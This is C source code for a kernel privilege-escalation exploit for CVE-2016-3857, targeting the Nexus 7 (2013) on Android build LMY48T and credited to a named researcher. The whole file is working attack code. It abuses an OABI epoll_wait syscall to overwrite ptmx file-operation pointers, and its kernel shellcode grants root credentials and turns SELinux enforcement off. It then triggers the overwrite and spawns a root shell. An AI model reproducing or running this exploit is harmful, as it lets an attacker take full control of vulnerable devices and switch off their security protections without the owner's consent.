/*
 * Just for Nexus 7(2013) LMY48T, if you want to run it on other version, some symbols address should be changed
 *
 * root@flo:/ # getprop ro.build.fingerprint
 * google/razor/flo:5.1.1/LMY48T/2237560:user/release-keys
 *
 * By Jianqiang Zhao(zhaojianqiang1@gmail.com)
 * 02-28-2017
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/epoll.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/utsname.h>
#include <sys/system_properties.h>

#include "pwn.h"

#define MAXEVENTS 1
#define PORT 2222

#define epoll_wait_syscall(efd, events, maxevents, a) \
		oabi_syscall(efd, events, maxevents, a)

static int pfd[2];
typedef void (*COMMIT_CREDS)(unsigned int cred);
typedef unsigned int (*PREPARE_KERNEL_CRED)(int cred);
static COMMIT_CREDS commit_creds;
static PREPARE_KERNEL_CRED prepare_kernel_cred;

static trigger(void)
{
	int fd;

	fd = open("/dev/ptmx", O_RDONLY);
	if(fd == -1) {
		printf("open ptmx fail (%s)\n", strerror(errno));
		return -1;
	}

	fsync(fd);

	close(fd);
	
	return 0;
}

static void shellcode(void)
{
	*(unsigned int*)(current_dev->ptmx_fops + 13 * 4) = current_dev->tty_release;
	*(unsigned int*)(current_dev->ptmx_fops + 14 * 4) = 0;
	*(unsigned int*)(current_dev->ptmx_fops + 15 * 4) = 0;
	commit_creds = (COMMIT_CREDS)current_dev->commit_creds;
	prepare_kernel_cred = (PREPARE_KERNEL_CRED)current_dev->prepare_kernel_cred;

	commit_creds(prepare_kernel_cred(0));

	// disable SELinux
	if (current_dev->selinux_enforcing)
		*(uint32_t*)current_dev->selinux_enforcing = 0;
}

static struct dev_spec_s *get_dev_info()
{
	int index = 0;
	struct utsname name = {0};
	char product_brand[PROP_VALUE_MAX] = {0};
	char product_model[PROP_VALUE_MAX] = {0};
	product_brand[0] = 0xab;
	product_model[0] = 0xab;

	if (uname(&name)) {
		printf("uname() failed!\n"); return NULL;
	}

	if (0 == __system_property_get("ro.product.brand", product_brand)) {
		if(product_brand[0] == 0x0)
			printf("can't even get property for ro.product.brand\n");
		printf("__system_property_get(ro.product.brand) failed!?\n"); return NULL;
	}

	if (0 == __system_property_get("ro.product.model", product_model)) {
		if(product_model[0] == 0x0)
			printf("can't even get property for ro.product.model\n");
		printf("__system_property_get(ro.product.model) failed!\n"); return NULL;
	}

	for (index; index < sizeof(dev_list) / sizeof(struct dev_spec_s); index++) {
		if (!strncmp(product_brand, dev_list[index].vendor, strlen(dev_list[index].vendor)) &&
				!strncmp(product_model, dev_list[index].product, strlen(dev_list[index].product)) &&
				!strncmp(name.release, dev_list[index].uname_r, strlen(dev_list[index].uname_r)) &&
				!strncmp(name.version, dev_list[index].uname_v, strlen(dev_list[index].uname_v))) {
			return &dev_list[index];
		}
	}

	return NULL;
}

static int do_child_process(void)
{
	int sock;
	struct sockaddr_in serv_addr;
	int str_len;
	int ret = 0;
	char buff[20];

	sock = socket(PF_INET, SOCK_STREAM, 0);
	if (sock == -1) {
		printf("[-] create c socket fail (%s)\n", strerror(errno));
		ret = -1;
		goto out;
	}
	printf("[+] c socket.\n");

	memset(&serv_addr, 0, sizeof(serv_addr));
	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	serv_addr.sin_port = htons(PORT);

	close(pfd[1]);
	read(pfd[0], buff, sizeof(buff) -1);
	sleep(0.5);
	if( connect(sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)) == -1) {
		printf("[-] create c socket fail (%s)\n", strerror(errno));
		ret = -1;
		goto connect_out;
	}
	printf("[+] c connet.\n");

connect_out:
	close(sock);
out:
	return ret;
}

static int getroot(void)
{
	int serv_sock;
	pid_t child;
	int efd;
	int s;
	struct epoll_event event;
	unsigned int *aa;
	int ret = 0;
	unsigned int target;
	struct sockaddr_in serv_addr;
	struct sockaddr_in clnt_addr;

	memset(&serv_addr, 0, sizeof(serv_addr));
	memset(&serv_addr, 0, sizeof(serv_addr));

	serv_sock = socket(PF_INET, SOCK_STREAM, 0);
	if (serv_sock == -1) {
		printf("[-] create s socket fail (%s)\n", strerror(errno));
		ret = -1;
		goto out;
	}
	printf("[+] create s socket: %d.\n", serv_sock);

	serv_addr.sin_family = AF_INET;
	serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
	serv_addr.sin_port = htons(PORT);
	if( bind(serv_sock,(struct sockaddr*)&serv_addr,sizeof(serv_addr)) == -1) {
		printf("[-] s bind fail (%s)\n", strerror(errno));
		ret = -1;
		goto bind_out;
	}
	printf("[+] s bind.\n");

	if(listen(serv_sock, 1) == -1) {
		printf("[-] s listen fail (%s)\n", strerror(errno));
		ret = -1;
		goto bind_out;
	}
	printf("[+] s listen.\n");

	efd = epoll_create(1);
	if (efd == -1) {
		printf("[-] create epoll fail (%s)\n", strerror(errno));
		ret = -1;
		goto bind_out;
	}
	printf("[+] s epoll_create.\n");

	aa = (unsigned int*)&(event.data.u64);
	aa[1] = (unsigned int)shellcode;
	aa[0] = (unsigned int)shellcode;
	event.events = EPOLLIN | EPOLLET;
	s = epoll_ctl (efd, EPOLL_CTL_ADD, serv_sock, &event);
	if (s == -1) {
		printf("[-] epoll ctl add fail (%s)\n", strerror(errno));
		ret = -1;
		goto bind_out;
	}
	printf("[+] s epoll_ctl.\n");

	if(pipe(pfd) == -1) {
		printf("[-] create pipe fail (%s)\n", strerror(errno));
		ret = -1;
		goto bind_out;
	}
	child = fork();
	if(child < 0){
		printf("[-] fork fail (%s)\n", strerror(errno));
		ret = -1;
		goto bind_out;
	} else if(child == 0) {
		do_child_process();
		exit(0);
	}
	
	close(pfd[0]);
	target = current_dev->ptmx_fops + 13 * 4;
	write(pfd[1], "ready\n", 10);
	epoll_wait_syscall(efd, (struct epoll_event *)target, MAXEVENTS, 10000);

	wait(NULL);
	close(serv_sock);

	printf("[+] trigger...\n");
	trigger();

	if (!setresuid(0, 0, 0)) {
		setresgid(0, 0, 0);
		puts("\n[+] Got it :)");
		printf("uid=%d gid=%d\n", getuid(), getgid());
		sleep(1);
		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
		if( ret ) {
			printf("execl failed, errno %d\n", errno);
		}
	} else 
		printf("[-] Got root fail!\n");

	return 0;

bind_out:
	close(serv_sock);
out:
	return ret;
}

static void banner(void)
{
        printf("\n");
        printf("*********************************************************\n");
        printf("*               Exploit for CVE-2016-3857		*\n");
        printf("*                    For Nexus 7(2013) LMY48T		*\n");
        printf("*        By Jianqiang Zhao (zhaojianqiang1@gmail.com)   *\n");
        printf("*                         02-28-2017                    *\n");
        printf("*********************************************************\n");
        printf("\n");
}

int main(int argc, char **argv)
{
	banner();

	if (NULL == (current_dev = get_dev_info())) {
		printf("[-] error identifying the device or version, please add it to device list in pwc.h.\n");
		return -1;
	}

	getroot();

	return 0;
}

